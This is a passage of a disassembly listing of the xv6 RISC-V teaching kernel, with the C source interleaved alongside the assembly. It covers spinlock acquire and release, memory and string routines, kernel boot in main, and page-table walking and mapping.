dec080e7 jalr -532(ra) # 8000197a <mycpu> 80000b96: 5d3c lw a5,120(a0) 80000b98: cf89 beqz a5,80000bb2 <push_off+0x3c> mycpu()->intena = old; mycpu()->noff += 1; 80000b9a: 00001097 auipc ra,0x1 80000b9e: de0080e7 jalr -544(ra) # 8000197a <mycpu> 80000ba2: 5d3c lw a5,120(a0) 80000ba4: 2785 addiw a5,a5,1 80000ba6: dd3c sw a5,120(a0) } 80000ba8: 60e2 ld ra,24(sp) 80000baa: 6442 ld s0,16(sp) 80000bac: 64a2 ld s1,8(sp) 80000bae: 6105 addi sp,sp,32 80000bb0: 8082 ret mycpu()->intena = old; 80000bb2: 00001097 auipc ra,0x1 80000bb6: dc8080e7 jalr -568(ra) # 8000197a <mycpu> return (x & SSTATUS_SIE) != 0; 80000bba: 8085 srli s1,s1,0x1 80000bbc: 8885 andi s1,s1,1 80000bbe: dd64 sw s1,124(a0) 80000bc0: bfe9 j 80000b9a <push_off+0x24> 0000000080000bc2 <acquire>: { 80000bc2: 1101 addi sp,sp,-32 80000bc4: ec06 sd ra,24(sp) 80000bc6: e822 sd s0,16(sp) 80000bc8: e426 sd s1,8(sp) 80000bca: 1000 addi s0,sp,32 80000bcc: 84aa mv s1,a0 push_off(); // disable interrupts to avoid deadlock. 80000bce: 00000097 auipc ra,0x0 80000bd2: fa8080e7 jalr -88(ra) # 80000b76 <push_off> if(holding(lk)) 80000bd6: 8526 mv a0,s1 80000bd8: 00000097 auipc ra,0x0 80000bdc: f70080e7 jalr -144(ra) # 80000b48 <holding> while(__sync_lock_test_and_set(&lk->locked, 1) != 0) 80000be0: 4705 li a4,1 if(holding(lk)) 80000be2: e115 bnez a0,80000c06 <acquire+0x44> while(__sync_lock_test_and_set(&lk->locked, 1) != 0) 80000be4: 87ba mv a5,a4 80000be6: 0cf4a7af amoswap.w.aq a5,a5,(s1) 80000bea: 2781 sext.w a5,a5 80000bec: ffe5 bnez a5,80000be4 <acquire+0x22> __sync_synchronize(); 80000bee: 0ff0000f fence lk->cpu = mycpu(); 80000bf2: 00001097 auipc ra,0x1 80000bf6: d88080e7 jalr -632(ra) # 8000197a <mycpu> 80000bfa: e888 sd a0,16(s1) } 80000bfc: 60e2 ld ra,24(sp) 80000bfe: 6442 ld s0,16(sp) 80000c00: 64a2 ld s1,8(sp) 80000c02: 6105 addi sp,sp,32 80000c04: 8082 ret panic("acquire"); 80000c06: 00007517 auipc a0,0x7 80000c0a: 46a50513 addi a0,a0,1130 # 80008070 <digits+0x30> 80000c0e: 00000097 auipc ra,0x0 80000c12: 91c080e7 jalr -1764(ra) # 8000052a <panic> 0000000080000c16 <pop_off>: void pop_off(void) { 80000c16: 1141 addi sp,sp,-16 80000c18: e406 sd ra,8(sp) 80000c1a: e022 sd s0,0(sp) 80000c1c: 0800 addi s0,sp,16 struct cpu *c = mycpu(); 80000c1e: 00001097 auipc ra,0x1 80000c22: d5c080e7 jalr -676(ra) # 8000197a <mycpu> asm volatile("csrr %0, sstatus" : "=r" (x) ); 80000c26: 100027f3 csrr a5,sstatus return (x & SSTATUS_SIE) != 0; 80000c2a: 8b89 andi a5,a5,2 if(intr_get()) 80000c2c: e78d bnez a5,80000c56 <pop_off+0x40> panic("pop_off - interruptible"); if(c->noff < 1) 80000c2e: 5d3c lw a5,120(a0) 80000c30: 02f05b63 blez a5,80000c66 <pop_off+0x50> panic("pop_off"); c->noff -= 1; 80000c34: 37fd addiw a5,a5,-1 80000c36: 0007871b sext.w a4,a5 80000c3a: dd3c sw a5,120(a0) if(c->noff == 0 && c->intena) 80000c3c: eb09 bnez a4,80000c4e <pop_off+0x38> 80000c3e: 5d7c lw a5,124(a0) 80000c40: c799 beqz a5,80000c4e <pop_off+0x38> asm volatile("csrr %0, sstatus" : "=r" (x) ); 80000c42: 100027f3 csrr a5,sstatus w_sstatus(r_sstatus() | SSTATUS_SIE); 80000c46: 0027e793 ori a5,a5,2 asm volatile("csrw sstatus, %0" : : "r" (x)); 80000c4a: 10079073 csrw sstatus,a5 intr_on(); } 80000c4e: 60a2 ld ra,8(sp) 80000c50: 6402 ld s0,0(sp) 80000c52: 0141 addi sp,sp,16 80000c54: 8082 ret panic("pop_off - interruptible"); 80000c56: 00007517 auipc a0,0x7 80000c5a: 42250513 addi a0,a0,1058 # 80008078 <digits+0x38> 80000c5e: 00000097 auipc ra,0x0 80000c62: 8cc080e7 jalr -1844(ra) # 8000052a <panic> panic("pop_off"); 80000c66: 00007517 auipc a0,0x7 80000c6a: 42a50513 addi a0,a0,1066 # 80008090 <digits+0x50> 80000c6e: 00000097 auipc ra,0x0 80000c72: 8bc080e7 jalr -1860(ra) # 8000052a <panic> 0000000080000c76 <release>: { 80000c76: 1101 addi sp,sp,-32 80000c78: ec06 sd ra,24(sp) 80000c7a: e822 sd s0,16(sp) 80000c7c: e426 sd s1,8(sp) 80000c7e: 1000 addi s0,sp,32 80000c80: 84aa mv s1,a0 if(!holding(lk)) 80000c82: 00000097 auipc ra,0x0 80000c86: ec6080e7 jalr -314(ra) # 80000b48 <holding> 80000c8a: c115 beqz a0,80000cae <release+0x38> lk->cpu = 0; 80000c8c: 0004b823 sd zero,16(s1) __sync_synchronize(); 80000c90: 0ff0000f fence __sync_lock_release(&lk->locked); 80000c94: 0f50000f fence iorw,ow 80000c98: 0804a02f amoswap.w zero,zero,(s1) pop_off(); 80000c9c: 00000097 auipc ra,0x0 80000ca0: f7a080e7 jalr -134(ra) # 80000c16 <pop_off> } 80000ca4: 60e2 ld ra,24(sp) 80000ca6: 6442 ld s0,16(sp) 80000ca8: 64a2 ld s1,8(sp) 80000caa: 6105 addi sp,sp,32 80000cac: 8082 ret panic("release"); 80000cae: 00007517 auipc a0,0x7 80000cb2: 3ea50513 addi a0,a0,1002 # 80008098 <digits+0x58> 80000cb6: 00000097 auipc ra,0x0 80000cba: 874080e7 jalr -1932(ra) # 8000052a <panic> 0000000080000cbe <memset>: #include "types.h" void* memset(void *dst, int c, uint n) { 80000cbe: 1141 addi sp,sp,-16 80000cc0: e422 sd s0,8(sp) 80000cc2: 0800 addi s0,sp,16 char *cdst = (char *) dst; int i; for(i = 0; i < n; i++){ 80000cc4: ca19 beqz a2,80000cda <memset+0x1c> 80000cc6: 87aa mv a5,a0 80000cc8: 1602 slli a2,a2,0x20 80000cca: 9201 srli a2,a2,0x20 80000ccc: 00a60733 add a4,a2,a0 cdst[i] = c; 80000cd0: 00b78023 sb a1,0(a5) for(i = 0; i < n; i++){ 80000cd4: 0785 addi a5,a5,1 80000cd6: fee79de3 bne a5,a4,80000cd0 <memset+0x12> } return dst; } 80000cda: 6422 ld s0,8(sp) 80000cdc: 0141 addi sp,sp,16 80000cde: 8082 ret 0000000080000ce0 <memcmp>: int memcmp(const void *v1, const void *v2, uint n) { 80000ce0: 1141 addi sp,sp,-16 80000ce2: e422 sd s0,8(sp) 80000ce4: 0800 addi s0,sp,16 const uchar *s1, *s2; s1 = v1; s2 = v2; while(n-- > 0){ 80000ce6: ca05 beqz a2,80000d16 <memcmp+0x36> 80000ce8: fff6069b addiw a3,a2,-1 80000cec: 1682 slli a3,a3,0x20 80000cee: 9281 srli a3,a3,0x20 80000cf0: 0685 addi a3,a3,1 80000cf2: 96aa add a3,a3,a0 if(*s1 != *s2) 80000cf4: 00054783 lbu a5,0(a0) 80000cf8: 0005c703 lbu a4,0(a1) 80000cfc: 00e79863 bne a5,a4,80000d0c <memcmp+0x2c> return *s1 - *s2; s1++, s2++; 80000d00: 0505 addi a0,a0,1 80000d02: 0585 addi a1,a1,1 while(n-- > 0){ 80000d04: fed518e3 bne a0,a3,80000cf4 <memcmp+0x14> } return 0; 80000d08: 4501 li a0,0 80000d0a: a019 j 80000d10 <memcmp+0x30> return *s1 - *s2; 80000d0c: 40e7853b subw a0,a5,a4 } 80000d10: 6422 ld s0,8(sp) 80000d12: 0141 addi sp,sp,16 80000d14: 8082 ret return 0; 80000d16: 4501 li a0,0 80000d18: bfe5 j 80000d10 <memcmp+0x30> 0000000080000d1a <memmove>: void* memmove(void *dst, const void *src, uint n) { 80000d1a: 1141 addi sp,sp,-16 80000d1c: e422 sd s0,8(sp) 80000d1e: 0800 addi s0,sp,16 const char *s; char *d; s = src; d = dst; if(s < d && s + n > d){ 80000d20: 02a5e563 bltu a1,a0,80000d4a <memmove+0x30> s += n; d += n; while(n-- > 0) *--d = *--s; } else while(n-- > 0) 80000d24: fff6069b addiw a3,a2,-1 80000d28: ce11 beqz a2,80000d44 <memmove+0x2a> 80000d2a: 1682 slli a3,a3,0x20 80000d2c: 9281 srli a3,a3,0x20 80000d2e: 0685 addi a3,a3,1 80000d30: 96ae add a3,a3,a1 80000d32: 87aa mv a5,a0 *d++ = *s++; 80000d34: 0585 addi a1,a1,1 80000d36: 0785 addi a5,a5,1 80000d38: fff5c703 lbu a4,-1(a1) 80000d3c: fee78fa3 sb a4,-1(a5) while(n-- > 0) 80000d40: fed59ae3 bne a1,a3,80000d34 <memmove+0x1a> return dst; } 80000d44: 6422 ld s0,8(sp) 80000d46: 0141 addi sp,sp,16 80000d48: 8082 ret if(s < d && s + n > d){ 80000d4a: 02061713 slli a4,a2,0x20 80000d4e: 9301 srli a4,a4,0x20 80000d50: 00e587b3 add a5,a1,a4 80000d54: fcf578e3 bgeu a0,a5,80000d24 <memmove+0xa> d += n; 80000d58: 972a add a4,a4,a0 while(n-- > 0) 80000d5a: fff6069b addiw a3,a2,-1 80000d5e: d27d beqz a2,80000d44 <memmove+0x2a> 80000d60: 02069613 slli a2,a3,0x20 80000d64: 9201 srli a2,a2,0x20 80000d66: fff64613 not a2,a2 80000d6a: 963e add a2,a2,a5 *--d = *--s; 80000d6c: 17fd addi a5,a5,-1 80000d6e: 177d addi a4,a4,-1 80000d70: 0007c683 lbu a3,0(a5) 80000d74: 00d70023 sb a3,0(a4) while(n-- > 0) 80000d78: fef61ae3 bne a2,a5,80000d6c <memmove+0x52> 80000d7c: b7e1 j 80000d44 <memmove+0x2a> 0000000080000d7e <memcpy>: // memcpy exists to placate GCC. Use memmove. void* memcpy(void *dst, const void *src, uint n) { 80000d7e: 1141 addi sp,sp,-16 80000d80: e406 sd ra,8(sp) 80000d82: e022 sd s0,0(sp) 80000d84: 0800 addi s0,sp,16 return memmove(dst, src, n); 80000d86: 00000097 auipc ra,0x0 80000d8a: f94080e7 jalr -108(ra) # 80000d1a <memmove> } 80000d8e: 60a2 ld ra,8(sp) 80000d90: 6402 ld s0,0(sp) 80000d92: 0141 addi sp,sp,16 80000d94: 8082 ret 0000000080000d96 <strncmp>: int strncmp(const char *p, const char *q, uint n) { 80000d96: 1141 addi sp,sp,-16 80000d98: e422 sd s0,8(sp) 80000d9a: 0800 addi s0,sp,16 while(n > 0 && *p && *p == *q) 80000d9c: ce11 beqz a2,80000db8 <strncmp+0x22> 80000d9e: 00054783 lbu a5,0(a0) 80000da2: cf89 beqz a5,80000dbc <strncmp+0x26> 80000da4: 0005c703 lbu a4,0(a1) 80000da8: 00f71a63 bne a4,a5,80000dbc <strncmp+0x26> n--, p++, q++; 80000dac: 367d addiw a2,a2,-1 80000dae: 0505 addi a0,a0,1 80000db0: 0585 addi a1,a1,1 while(n > 0 && *p && *p == *q) 80000db2: f675 bnez a2,80000d9e <strncmp+0x8> if(n == 0) return 0; 80000db4: 4501 li a0,0 80000db6: a809 j 80000dc8 <strncmp+0x32> 80000db8: 4501 li a0,0 80000dba: a039 j 80000dc8 <strncmp+0x32> if(n == 0) 80000dbc: ca09 beqz a2,80000dce <strncmp+0x38> return (uchar)*p - (uchar)*q; 80000dbe: 00054503 lbu a0,0(a0) 80000dc2: 0005c783 lbu a5,0(a1) 80000dc6: 9d1d subw a0,a0,a5 } 80000dc8: 6422 ld s0,8(sp) 80000dca: 0141 addi sp,sp,16 80000dcc: 8082 ret return 0; 80000dce: 4501 li a0,0 80000dd0: bfe5 j 80000dc8 <strncmp+0x32> 0000000080000dd2 <strncpy>: char* strncpy(char *s, const char *t, int n) { 80000dd2: 1141 addi sp,sp,-16 80000dd4: e422 sd s0,8(sp) 80000dd6: 0800 addi s0,sp,16 char *os; os = s; while(n-- > 0 && (*s++ = *t++) != 0) 80000dd8: 872a mv a4,a0 80000dda: 8832 mv a6,a2 80000ddc: 367d addiw a2,a2,-1 80000dde: 01005963 blez a6,80000df0 <strncpy+0x1e> 80000de2: 0705 addi a4,a4,1 80000de4: 0005c783 lbu a5,0(a1) 80000de8: fef70fa3 sb a5,-1(a4) 80000dec: 0585 addi a1,a1,1 80000dee: f7f5 bnez a5,80000dda <strncpy+0x8> ; while(n-- > 0) 80000df0: 86ba mv a3,a4 80000df2: 00c05c63 blez a2,80000e0a <strncpy+0x38> *s++ = 0; 80000df6: 0685 addi a3,a3,1 80000df8: fe068fa3 sb zero,-1(a3) while(n-- > 0) 80000dfc: fff6c793 not a5,a3 80000e00: 9fb9 addw a5,a5,a4 80000e02: 010787bb addw a5,a5,a6 80000e06: fef048e3 bgtz a5,80000df6 <strncpy+0x24> return os; } 80000e0a: 6422 ld s0,8(sp) 80000e0c: 0141 addi sp,sp,16 80000e0e: 8082 ret 0000000080000e10 <safestrcpy>: // Like strncpy but guaranteed to NUL-terminate. char* safestrcpy(char *s, const char *t, int n) { 80000e10: 1141 addi sp,sp,-16 80000e12: e422 sd s0,8(sp) 80000e14: 0800 addi s0,sp,16 char *os; os = s; if(n <= 0) 80000e16: 02c05363 blez a2,80000e3c <safestrcpy+0x2c> 80000e1a: fff6069b addiw a3,a2,-1 80000e1e: 1682 slli a3,a3,0x20 80000e20: 9281 srli a3,a3,0x20 80000e22: 96ae add a3,a3,a1 80000e24: 87aa mv a5,a0 return os; while(--n > 0 && (*s++ = *t++) != 0) 80000e26: 00d58963 beq a1,a3,80000e38 <safestrcpy+0x28> 80000e2a: 0585 addi a1,a1,1 80000e2c: 0785 addi a5,a5,1 80000e2e: fff5c703 lbu a4,-1(a1) 80000e32: fee78fa3 sb a4,-1(a5) 80000e36: fb65 bnez a4,80000e26 <safestrcpy+0x16> ; *s = 0; 80000e38: 00078023 sb zero,0(a5) return os; } 80000e3c: 6422 ld s0,8(sp) 80000e3e: 0141 addi sp,sp,16 80000e40: 8082 ret 0000000080000e42 <strlen>: int strlen(const char *s) { 80000e42: 1141 addi sp,sp,-16 80000e44: e422 sd s0,8(sp) 80000e46: 0800 addi s0,sp,16 int n; for(n = 0; s[n]; n++) 80000e48: 00054783 lbu a5,0(a0) 80000e4c: cf91 beqz a5,80000e68 <strlen+0x26> 80000e4e: 0505 addi a0,a0,1 80000e50: 87aa mv a5,a0 80000e52: 4685 li a3,1 80000e54: 9e89 subw a3,a3,a0 80000e56: 00f6853b addw a0,a3,a5 80000e5a: 0785 addi a5,a5,1 80000e5c: fff7c703 lbu a4,-1(a5) 80000e60: fb7d bnez a4,80000e56 <strlen+0x14> ; return n; } 80000e62: 6422 ld s0,8(sp) 80000e64: 0141 addi sp,sp,16 80000e66: 8082 ret for(n = 0; s[n]; n++) 80000e68: 4501 li a0,0 80000e6a: bfe5 j 80000e62 <strlen+0x20> 0000000080000e6c <main>: volatile static int started = 0; // start() jumps here in supervisor mode on all CPUs. void main() { 80000e6c: 1141 addi sp,sp,-16 80000e6e: e406 sd ra,8(sp) 80000e70: e022 sd s0,0(sp) 80000e72: 0800 addi s0,sp,16 if(cpuid() == 0){ 80000e74: 00001097 auipc ra,0x1 80000e78: af6080e7 jalr -1290(ra) # 8000196a <cpuid> virtio_disk_init(); // emulated hard disk userinit(); // first user process __sync_synchronize(); started = 1; } else { while(started == 0) 80000e7c: 00008717 auipc a4,0x8 80000e80: 19c70713 addi a4,a4,412 # 80009018 <started> if(cpuid() == 0){ 80000e84: c139 beqz a0,80000eca <main+0x5e> while(started == 0) 80000e86: 431c lw a5,0(a4) 80000e88: 2781 sext.w a5,a5 80000e8a: dff5 beqz a5,80000e86 <main+0x1a> ; __sync_synchronize(); 80000e8c: 0ff0000f fence printf("hart %d starting\n", cpuid()); 80000e90: 00001097 auipc ra,0x1 80000e94: ada080e7 jalr -1318(ra) # 8000196a <cpuid> 80000e98: 85aa mv a1,a0 80000e9a: 00007517 auipc a0,0x7 80000e9e: 21e50513 addi a0,a0,542 # 800080b8 <digits+0x78> 80000ea2: fffff097 auipc ra,0xfffff 80000ea6: 6d2080e7 jalr 1746(ra) # 80000574 <printf> kvminithart(); // turn on paging 80000eaa: 00000097 auipc ra,0x0 80000eae: 0d8080e7 jalr 216(ra) # 80000f82 <kvminithart> trapinithart(); // install kernel trap vector 80000eb2: 00002097 auipc ra,0x2 80000eb6: c7c080e7 jalr -900(ra) # 80002b2e <trapinithart> plicinithart(); // ask PLIC for device interrupts 80000eba: 00005097 auipc ra,0x5 80000ebe: 396080e7 jalr 918(ra) # 80006250 <plicinithart> } scheduler(); 80000ec2: 00001097 auipc ra,0x1 80000ec6: 07c080e7 jalr 124(ra) # 80001f3e <scheduler> consoleinit(); 80000eca: fffff097 auipc ra,0xfffff 80000ece: 572080e7 jalr 1394(ra) # 8000043c <consoleinit> printfinit(); 80000ed2: 00000097 auipc ra,0x0 80000ed6: 882080e7 jalr -1918(ra) # 80000754 <printfinit> printf("\n"); 80000eda: 00007517 auipc a0,0x7 80000ede: 1ee50513 addi a0,a0,494 # 800080c8 <digits+0x88> 80000ee2: fffff097 auipc ra,0xfffff 80000ee6: 692080e7 jalr 1682(ra) # 80000574 <printf> printf("xv6 kernel is booting\n"); 80000eea: 00007517 auipc a0,0x7 80000eee: 1b650513 addi a0,a0,438 # 800080a0 <digits+0x60> 80000ef2: fffff097 auipc ra,0xfffff 80000ef6: 682080e7 jalr 1666(ra) # 80000574 <printf> printf("\n"); 80000efa: 00007517 auipc a0,0x7 80000efe: 1ce50513 addi a0,a0,462 # 800080c8 <digits+0x88> 80000f02: fffff097 auipc ra,0xfffff 80000f06: 672080e7 jalr 1650(ra) # 80000574 <printf> kinit(); // physical page allocator 80000f0a: 00000097 auipc ra,0x0 80000f0e: b8c080e7 jalr -1140(ra) # 80000a96 <kinit> kvminit(); // create kernel page table 80000f12: 00000097 auipc ra,0x0 80000f16: 310080e7 jalr 784(ra) # 80001222 <kvminit> kvminithart(); // turn on paging 80000f1a: 00000097 auipc ra,0x0 80000f1e: 068080e7 jalr 104(ra) # 80000f82 <kvminithart> procinit(); // process table 80000f22: 00001097 auipc ra,0x1 80000f26: 980080e7 jalr -1664(ra) # 800018a2 <procinit> trapinit(); // trap vectors 80000f2a: 00002097 auipc ra,0x2 80000f2e: bdc080e7 jalr -1060(ra) # 80002b06 <trapinit> trapinithart(); // install kernel trap vector 80000f32: 00002097 auipc ra,0x2 80000f36: bfc080e7 jalr -1028(ra) # 80002b2e <trapinithart> plicinit(); // set up interrupt controller 80000f3a: 00005097 auipc ra,0x5 80000f3e: 300080e7 jalr 768(ra) # 8000623a <plicinit> plicinithart(); // ask PLIC for device interrupts 80000f42: 00005097 auipc ra,0x5 80000f46: 30e080e7 jalr 782(ra) # 80006250 <plicinithart> binit(); // buffer cache 80000f4a: 00002097 auipc ra,0x2 80000f4e: 4d8080e7 jalr 1240(ra) # 80003422 <binit> iinit(); // inode cache 80000f52: 00003097 auipc ra,0x3 80000f56: b6a080e7 jalr -1174(ra) # 80003abc <iinit> fileinit(); // file table 80000f5a: 00004097 auipc ra,0x4 80000f5e: b18080e7 jalr -1256(ra) # 80004a72 <fileinit> virtio_disk_init(); // emulated hard disk 80000f62: 00005097 auipc ra,0x5 80000f66: 410080e7 jalr 1040(ra) # 80006372 <virtio_disk_init> userinit(); // first user process 80000f6a: 00001097 auipc ra,0x1 80000f6e: d28080e7 jalr -728(ra) # 80001c92 <userinit> __sync_synchronize(); 80000f72: 0ff0000f fence started = 1; 80000f76: 4785 li a5,1 80000f78: 00008717 auipc a4,0x8 80000f7c: 0af72023 sw a5,160(a4) # 80009018 <started> 80000f80: b789 j 80000ec2 <main+0x56> 0000000080000f82 <kvminithart>: // Switch h/w page table register to the kernel's page table, // and enable paging. void kvminithart() { 80000f82: 1141 addi sp,sp,-16 80000f84: e422 sd s0,8(sp) 80000f86: 0800 addi s0,sp,16 w_satp(MAKE_SATP(kernel_pagetable)); 80000f88: 00008797 auipc a5,0x8 80000f8c: 0987b783 ld a5,152(a5) # 80009020 <kernel_pagetable> 80000f90: 83b1 srli a5,a5,0xc 80000f92: 577d li a4,-1 80000f94: 177e slli a4,a4,0x3f 80000f96: 8fd9 or a5,a5,a4 asm volatile("csrw satp, %0" : : "r" (x)); 80000f98: 18079073 csrw satp,a5 // flush the TLB. static inline void sfence_vma() { // the zero, zero means flush all TLB entries. asm volatile("sfence.vma zero, zero"); 80000f9c: 12000073 sfence.vma sfence_vma(); } 80000fa0: 6422 ld s0,8(sp) 80000fa2: 0141 addi sp,sp,16 80000fa4: 8082 ret 0000000080000fa6 <walk>: // 21..29 -- 9 bits of level-1 index. // 12..20 -- 9 bits of level-0 index. // 0..11 -- 12 bits of byte offset within the page. pte_t * walk(pagetable_t pagetable, uint64 va, int alloc) { 80000fa6: 7139 addi sp,sp,-64 80000fa8: fc06 sd ra,56(sp) 80000faa: f822 sd s0,48(sp) 80000fac: f426 sd s1,40(sp) 80000fae: f04a sd s2,32(sp) 80000fb0: ec4e sd s3,24(sp) 80000fb2: e852 sd s4,16(sp) 80000fb4: e456 sd s5,8(sp) 80000fb6: e05a sd s6,0(sp) 80000fb8: 0080 addi s0,sp,64 80000fba: 84aa mv s1,a0 80000fbc: 89ae mv s3,a1 80000fbe: 8ab2 mv s5,a2 if(va >= MAXVA) 80000fc0: 57fd li a5,-1 80000fc2: 83e9 srli a5,a5,0x1a 80000fc4: 4a79 li s4,30 panic("walk"); for(int level = 2; level > 0; level--) { 80000fc6: 4b31 li s6,12 if(va >= MAXVA) 80000fc8: 04b7f263 bgeu a5,a1,8000100c <walk+0x66> panic("walk"); 80000fcc: 00007517 auipc a0,0x7 80000fd0: 10450513 addi a0,a0,260 # 800080d0 <digits+0x90> 80000fd4: fffff097 auipc ra,0xfffff 80000fd8: 556080e7 jalr 1366(ra) # 8000052a <panic> pte_t *pte = &pagetable[PX(level, va)]; if(*pte & PTE_V) { pagetable = (pagetable_t)PTE2PA(*pte); } else { if(!alloc || (pagetable = (pde_t*)kalloc()) == 0) 80000fdc: 060a8663 beqz s5,80001048 <walk+0xa2> 80000fe0: 00000097 auipc ra,0x0 80000fe4: af2080e7 jalr -1294(ra) # 80000ad2 <kalloc> 80000fe8: 84aa mv s1,a0 80000fea: c529 beqz a0,80001034 <walk+0x8e> return 0; memset(pagetable, 0, PGSIZE); 80000fec: 6605 lui a2,0x1 80000fee: 4581 li a1,0 80000ff0: 00000097 auipc ra,0x0 80000ff4: cce080e7 jalr -818(ra) # 80000cbe <memset> *pte = PA2PTE(pagetable) | PTE_V; 80000ff8: 00c4d793 srli a5,s1,0xc 80000ffc: 07aa slli a5,a5,0xa 80000ffe: 0017e793 ori a5,a5,1 80001002: 00f93023 sd a5,0(s2) for(int level = 2; level > 0; level--) { 80001006: 3a5d addiw s4,s4,-9 80001008: 036a0063 beq s4,s6,80001028 <walk+0x82> pte_t *pte = &pagetable[PX(level, va)]; 8000100c: 0149d933 srl s2,s3,s4 80001010: 1ff97913 andi s2,s2,511 80001014: 090e slli s2,s2,0x3 80001016: 9926 add s2,s2,s1 if(*pte & PTE_V) { 80001018: 00093483 ld s1,0(s2) 8000101c: 0014f793 andi a5,s1,1 80001020: dfd5 beqz a5,80000fdc <walk+0x36> pagetable = (pagetable_t)PTE2PA(*pte); 80001022: 80a9 srli s1,s1,0xa 80001024: 04b2 slli s1,s1,0xc 80001026: b7c5 j 80001006 <walk+0x60> } } return &pagetable[PX(0, va)]; 80001028: 00c9d513 srli a0,s3,0xc 8000102c: 1ff57513 andi a0,a0,511 80001030: 050e slli a0,a0,0x3 80001032: 9526 add a0,a0,s1 } 80001034: 70e2 ld ra,56(sp) 80001036: 7442 ld s0,48(sp) 80001038: 74a2 ld s1,40(sp) 8000103a: 7902 ld s2,32(sp) 8000103c: 69e2 ld s3,24(sp) 8000103e: 6a42 ld s4,16(sp) 80001040: 6aa2 ld s5,8(sp) 80001042: 6b02 ld s6,0(sp) 80001044: 6121 addi sp,sp,64 80001046: 8082 ret return 0; 80001048: 4501 li a0,0 8000104a: b7ed j 80001034 <walk+0x8e> 000000008000104c <walkaddr>: walkaddr(pagetable_t pagetable, uint64 va) { pte_t *pte; uint64 pa; if(va >= MAXVA) 8000104c: 57fd li a5,-1 8000104e: 83e9 srli a5,a5,0x1a 80001050: 00b7f463 bgeu a5,a1,80001058 <walkaddr+0xc> return 0; 80001054: 4501 li a0,0 return 0; if((*pte & PTE_U) == 0) return 0; pa = PTE2PA(*pte); return pa; } 80001056: 8082 ret { 80001058: 1141 addi sp,sp,-16 8000105a: e406 sd ra,8(sp) 8000105c: e022 sd s0,0(sp) 8000105e: 0800 addi s0,sp,16 pte = walk(pagetable, va, 0); 80001060: 4601 li a2,0 80001062: 00000097 auipc ra,0x0 80001066: f44080e7 jalr -188(ra) # 80000fa6 <walk> if(pte == 0) 8000106a: c105 beqz a0,8000108a <walkaddr+0x3e> if((*pte & PTE_V) == 0) 8000106c: 611c ld a5,0(a0) if((*pte & PTE_U) == 0) 8000106e: 0117f693 andi a3,a5,17 80001072: 4745 li a4,17 return 0; 80001074: 4501 li a0,0 if((*pte & PTE_U) == 0) 80001076: 00e68663 beq a3,a4,80001082 <walkaddr+0x36> } 8000107a: 60a2 ld ra,8(sp) 8000107c: 6402 ld s0,0(sp) 8000107e: 0141 addi sp,sp,16 80001080: 8082 ret pa = PTE2PA(*pte); 80001082: 00a7d513 srli a0,a5,0xa 80001086: 0532 slli a0,a0,0xc return pa; 80001088: bfcd j 8000107a <walkaddr+0x2e> return 0; 8000108a: 4501 li a0,0 8000108c: b7fd j 8000107a <walkaddr+0x2e> 000000008000108e <mappages>: // physical addresses starting at pa. va and size might not // be page-aligned. Returns 0 on success, -1 if walk() couldn't // allocate a needed page-table page. int mappages(pagetable_t pagetable, uint64 va, uint64 size, uint64 pa, int perm) { 8000108e: 715d addi sp,sp,-80 80001090: e486 sd ra,72(sp) 80001092: e0a2 sd s0,64(sp) 80001094: fc26 sd s1,56(sp) 80001096: f84a sd s2,48(sp) 80001098: f44e sd s3,40(sp) 8000109a: f052 sd s4,32(sp) 8000109c: ec56 sd s5,24(sp) 8000109e: e85a sd s6,16(sp) 800010a0: e45e sd s7,8(sp) 800010a2: 0880 addi s0,sp,80 800010a4: 8aaa mv s5,a0 800010a6: 8b3a mv s6,a4 uint64 a, last; pte_t *pte; a = PGROUNDDOWN(va); 800010a8: 777d lui a4,0xfffff 800010aa: 00e5f7b3 and a5,a1,a4 last = PGROUNDDOWN(va + size - 1); 800010ae: 167d addi a2,a2,-1 800010b0: 00b609b3 add s3,a2,a1 800010b4: 00e9f9b3 and s3,s3,a4 a = PGROUNDDOWN(va); 800010b8: 893e mv s2,a5 800010ba: 40f68a33 sub s4,a3,a5 if(*pte & PTE_V) panic("remap"); *pte = PA2PTE(pa) | perm | PTE_V; if(a == last) break; a += PGSIZE; 800010be: 6b85 lui s7,0x1 800010c0: 012a04b3 add s1,s4,s2 if((pte = walk(pagetable, a, 1)) == 0) 800010c4: 4605 li a2,1 800010c6: 85ca mv a1,s2 800010c8: 8556 mv a0,s5 800010ca: 00000097 auipc ra,0x0 800010ce: edc080e7 jalr -292(ra) # 80000fa6 <walk> 800010d2: c51d beqz a0,80001100 <mappages+0x72> if(*pte & PTE_V) 800010d4: 611c ld a5,0(a0) 800010d6: 8b85 andi a5,a5,1 800010d8: ef81 bnez a5,800010f0 <mappages+0x62> *pte = PA2PTE(pa) | perm | PTE_V; 800010da: 80b1 srli s1,s1,0xc 800010dc: 04aa slli s1,s1,0xa 800010de: 0164e4b3 or s1,s1,s6 800010e2: 0014e493 ori s1,s1,1 800010e6: e104 sd s1,0(a0) if(a == last) 800010e8: 03390863 beq s2,s3,80001118 <mappages+0x8a> a += PGSIZE; 800010ec: 995e add s2,s2,s7 if((pte = walk(pagetable, a, 1)) == 0) 800010ee: bfc9 j 800010c0 <mappages+0x32> panic("remap"); 800010f0: 00007517 auipc a0,0x7 800010f4: fe850513 addi a0,a0,-24 # 800080d8 <digits+0x98> 800010f8: fffff097 auipc ra,0xfffff 800010fc: 432080e7 jalr 1074(ra) # 8000052a <panic> return -1; 80001100: 557d li a0,-1 pa += PGSIZE; } return 0; } 80001102: 60a6 ld ra,72(sp) 80001104: 6406 ld s0,64(sp) 80001106: 74e2 ld s1,56(sp) 80001108: 7942 ld s2,48(sp) 8000110a: 79a2 ld s3,40(sp) 8000110c: 7a02 ld s4,32(sp) 8000110e: 6ae2 ld s5,24(sp) 80001110: 6b42 ld s6,16(sp) 80001112: 6ba2 ld s7,8(sp) 80001114: 6161 addi sp,sp,80 80001116: 8082 ret return 0; 80001118: 4501 li a0,0 8000111a: b7e5 j 80001102 <mappages+0x74> 000000008000111c <kvmmap>: { 8000111c: 1141 addi sp,sp,-16 8000111e: e406 sd ra,8(sp) 80001120: e022 sd s0,0(sp) 80001122: 0800 addi s0,sp,16 80001124: 87b6 mv a5,a3 if(mappages(kpgtbl, va, sz, pa, perm) != 0) 80001126: 86b2 mv a3,a2 80001128: 863e mv a2,a5 8000112a: 00000097 auipc ra,0x0 8000112e: f64080e7 jalr -156(ra) # 8000108e <mappages> 80001132: e509 bnez a0,8000113c <kvmmap+0x20> } 80001134: 60a2 ld ra,8(sp) 80001136: 6402 ld s0,0(sp) 80001138: 0141 addi sp,sp,16 8000113a: 8082 ret panic("kvmmap"); 8000113c: 00007517 auipc a0,0x7 80001140: fa450513 addi a0,a0,-92 # 